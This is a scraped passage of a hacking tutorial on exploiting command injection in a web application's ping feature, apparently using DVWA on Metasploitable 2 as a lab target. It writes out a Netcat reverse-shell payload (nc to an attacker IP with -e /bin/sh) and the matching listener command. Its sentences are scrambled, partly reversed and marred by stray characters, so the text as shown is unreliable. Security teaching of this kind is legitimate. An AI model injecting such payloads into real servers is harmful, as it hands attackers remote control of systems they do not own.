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This connects to the IP address 172.16.1.100 on port 1234, and -e /bin/sh executes a shell that is sent back to our system. Next, in the web application's ping utility, append the following command to spawn a shell on the server and connect back to our machine: nc 172.16.1.100 1234 -e /bin/sh
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The usage for Netcat is nc, the -l flag opens a listener, and -p 1234 instructs it to use port 1234, but any random port will work.
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Don't Miss: How to Use Netcat, the Swiss Army Knife of Hacking Toolsįirst, we use the following command on our local system to open up a listener for incoming connections.We can use Netcat to spawn a reverse shell on the web server, provided it is installed, and connect back to our machine yielding complete control over the system. Other features include debugging, port scanning, file transfer, and backdoor capabilities. Netcat is a powerful networking utility used to test TCP or UDP connections.
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Since outgoing traffic is less likely to be filtered by the firewall, a reverse shell is often the preferred choice. In this situation, the attacking device has an open port listening for incoming connections. Bind shells aren't used very often today because any active firewall will block incoming connections to some random port.Ī reverse shell, on the other hand, will actively connect back to the attacking machine from the target. The attacking system then connects to that listening port and an interactive session is initiated. Reverse Shellsīefore we jump into popping a shell, it's important to understand the differences between bind shells and reverse shells.Ī bind shell is a command shell that is opened on the target system, essentially binding itself to a specific port. What if we could get a shell on the system and own it completely? Well, using the popular tool Netcat, we can do precisely that. So far, all of the commands we've run have been low impact - useful for gathering information about the server but not much else. We can see the ping replies, so it appears to be working correctly. It's easy enough here to enter the loopback address, or localhost, to test this out. For demonstration purposes, this will work perfectly though. In reality, it would probably be rare to find such a blatant example of this, but you never know (sometimes the lowest-hanging fruit yields the best results). In this example, the site has a function that allows us to ping other domains or IP addresses to test for connectivity. We can begin by searching for an appropriate attack vector to exploit. Don't Miss: How to Create a Virtual Hacking Lab to Practice Hacking Skills.In this tutorial, I will be using DVWA (Damn Vulnerable Web Application) as part of Metasploitable 2, a vulnerable virtual machine, to simulate this attack. These concepts are similar, but the fact that command injection builds upon the default behavior of the application often makes it easier to exploit.
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In code injection, an attacker inserts custom code that is then executed by the application or program, whereas command injection takes advantage of the functionality of the application in which system commands are executed. It is important to note the difference between code injection and command injection. Depending on the level of privilege the application has, an attacker can do anything, including viewing configuration files, modifying or deleting data, or even getting a shell or creating a backdoor. Since the application basically acts as an impromptu shell of sorts, this type of attack can lead to disastrous consequences. When the input is not properly sanitized, commands not originally intended to be run are allowed to be executed. This can happen when an application provides some sort of functionality to the user involving the use of system commands. Command injection is a technique used by hackers to execute system commands on a server, usually via a web application or some kind of GUI.